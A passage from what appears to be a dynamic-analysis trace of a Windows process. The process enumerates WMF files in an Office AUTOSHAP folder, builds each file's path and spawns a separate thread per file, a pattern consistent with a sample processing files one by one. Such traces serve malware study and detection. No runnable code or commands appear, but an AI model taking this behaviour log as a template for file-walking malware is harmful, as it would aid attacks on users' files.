_Dest=0x431c93a0, _Source="BD18189_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" [0208.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c93a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994 [0208.199] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18190_.WMF", cAlternateFileName="")) returned 1 [0208.199] wcscmp (_String1="BD18190_.WMF", _String2=".") returned 1 [0208.199] wcscmp (_String1="BD18190_.WMF", _String2="..") returned 1 [0208.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c9440 [0208.199] wcscpy (in: _Dest=0x431c9440, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.199] wcscat (in: _Dest=0x431c9440, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.199] wcscat (in: _Dest=0x431c9440, _Source="BD18190_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" [0208.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1650 [0208.200] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x171d3300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x171d3300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xc9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18191_.WMF", cAlternateFileName="")) returned 1 [0208.200] wcscmp (_String1="BD18191_.WMF", _String2=".") returned 1 [0208.200] wcscmp (_String1="BD18191_.WMF", _String2="..") returned 1 [0208.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c94e0 [0208.200] wcscpy (in: _Dest=0x431c94e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.200] wcscat (in: _Dest=0x431c94e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.200] wcscat (in: _Dest=0x431c94e0, _Source="BD18191_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" [0208.200] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c94e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xea8 [0208.201] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6432a00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb6432a00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18192_.WMF", cAlternateFileName="")) returned 1 [0208.201] wcscmp (_String1="BD18192_.WMF", _String2=".") returned 1 [0208.201] wcscmp (_String1="BD18192_.WMF", _String2="..") returned 1 [0208.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c9580 [0208.201] wcscpy (in: _Dest=0x431c9580, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.201] wcscat (in: _Dest=0x431c9580, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.201] wcscat (in: _Dest=0x431c9580, _Source="BD18192_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" [0208.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25fc [0208.202] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd07d0800, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd07d0800, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18193_.WMF", cAlternateFileName="")) returned 1 [0208.202] wcscmp (_String1="BD18193_.WMF", _String2=".") returned 1 [0208.202] wcscmp (_String1="BD18193_.WMF", _String2="..") returned 1 [0208.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c9620 [0208.202] wcscpy (in: _Dest=0x431c9620, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.202] wcscat (in: _Dest=0x431c9620, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.202] wcscat (in: _Dest=0x431c9620, _Source="BD18193_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF" [0208.202] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cb8 [0208.202] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29e33800, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29e33800, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0xdde, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18194_.WMF", cAlternateFileName="")) returned 1 [0208.202] wcscmp (_String1="BD18194_.WMF", _String2=".") returned 1 [0208.202] wcscmp (_String1="BD18194_.WMF", _String2="..") returned 1 [0208.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c96c0 [0208.203] wcscpy (in: _Dest=0x431c96c0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.203] wcscat (in: _Dest=0x431c96c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.203] wcscat (in: _Dest=0x431c96c0, _Source="BD18194_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF" [0208.203] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c96c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f50 [0208.203] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4404e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf4404e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18196_.WMF", cAlternateFileName="")) returned 1 [0208.203] wcscmp (_String1="BD18196_.WMF", _String2=".") returned 1 [0208.203] wcscmp (_String1="BD18196_.WMF", _String2="..") returned 1 [0208.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c9760 [0208.203] wcscpy (in: _Dest=0x431c9760, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.203] wcscat (in: _Dest=0x431c9760, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.203] wcscat (in: _Dest=0x431c9760, _Source="BD18196_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF" [0208.203] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4 [0208.204] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18197_.WMF", cAlternateFileName="")) returned 1 [0208.204] wcscmp (_String1="BD18197_.WMF", _String2=".") returned 1 [0208.204] wcscmp (_String1="BD18197_.WMF", _String2="..") returned 1 [0208.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c9800 [0208.204] wcscpy (in: _Dest=0x431c9800, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.204] wcscat (in: _Dest=0x431c9800, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.204] wcscat (in: _Dest=0x431c9800, _Source="BD18197_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF" [0208.204] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ca4 [0208.205] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18198_.WMF", cAlternateFileName="")) returned 1 [0208.205] wcscmp (_String1="BD18198_.WMF", _String2=".") returned 1 [0208.205] wcscmp (_String1="BD18198_.WMF", _String2="..") returned 1 [0208.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c98a0 [0208.205] wcscpy (in: _Dest=0x431c98a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.205] wcscat (in: _Dest=0x431c98a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.205] wcscat (in: _Dest=0x431c98a0, _Source="BD18198_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF" [0208.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c98a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25d4 [0208.205] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fdb1800, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fdb1800, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18199_.WMF", cAlternateFileName="")) returned 1 [0208.205] wcscmp (_String1="BD18199_.WMF", _String2=".") returned 1 [0208.206] wcscmp (_String1="BD18199_.WMF", _String2="..") returned 1 [0208.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c9940 [0208.206] wcscpy (in: _Dest=0x431c9940, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.206] wcscat (in: _Dest=0x431c9940, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.206] wcscat (in: _Dest=0x431c9940, _Source="BD18199_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF" [0208.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2860 [0208.206] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd302000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfd302000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18200_.WMF", cAlternateFileName="")) returned 1 [0208.206] wcscmp (_String1="BD18200_.WMF", _String2=".") returned 1 [0208.206] wcscmp (_String1="BD18200_.WMF", _String2="..") returned 1 [0208.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c99e0 [0208.206] wcscpy (in: _Dest=0x431c99e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.206] wcscat (in: _Dest=0x431c99e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.206] wcscat (in: _Dest=0x431c99e0, _Source="BD18200_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF" [0208.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c99e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cd4 [0208.207] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c3c400, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3c3c400, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18201_.WMF", cAlternateFileName="")) returned 1 [0208.207] wcscmp (_String1="BD18201_.WMF", _String2=".") returned 1 [0208.207] wcscmp (_String1="BD18201_.WMF", _String2="..") returned 1 [0208.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c9a80 [0208.207] wcscpy (in: _Dest=0x431c9a80, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.207] wcscat (in: _Dest=0x431c9a80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.207] wcscat (in: _Dest=0x431c9a80, _Source="BD18201_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF" [0208.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a30 [0208.208] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18202_.WMF", cAlternateFileName="")) returned 1 [0208.208] wcscmp (_String1="BD18202_.WMF", _String2=".") returned 1 [0208.208] wcscmp (_String1="BD18202_.WMF", _String2="..") returned 1 [0208.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c9b20 [0208.208] wcscpy (in: _Dest=0x431c9b20, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.208] wcscat (in: _Dest=0x431c9b20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.208] wcscat (in: _Dest=0x431c9b20, _Source="BD18202_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF" [0208.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9b20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cd0 [0208.209] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f586200, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f586200, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18203_.WMF", cAlternateFileName="")) returned 1 [0208.209] wcscmp (_String1="BD18203_.WMF", _String2=".") returned 1 [0208.209] wcscmp (_String1="BD18203_.WMF", _String2="..") returned 1 [0208.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c9bc0 [0208.209] wcscpy (in: _Dest=0x431c9bc0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.209] wcscat (in: _Dest=0x431c9bc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.209] wcscat (in: _Dest=0x431c9bc0, _Source="BD18203_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF" [0208.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc8 [0208.209] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7db3a00, ftCreationTime.dwHighDateTime=0x1bddcb2, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7db3a00, ftLastWriteTime.dwHighDateTime=0x1bddcb2, nFileSizeHigh=0x0, nFileSizeLow=0x814, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18204_.WMF", cAlternateFileName="")) returned 1 [0208.209] wcscmp (_String1="BD18204_.WMF", _String2=".") returned 1 [0208.209] wcscmp (_String1="BD18204_.WMF", _String2="..") returned 1 [0208.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c9c60 [0208.209] wcscpy (in: _Dest=0x431c9c60, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.209] wcscat (in: _Dest=0x431c9c60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.209] wcscat (in: _Dest=0x431c9c60, _Source="BD18204_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF" [0208.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc4 [0208.210] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58631200, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58631200, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x8da, 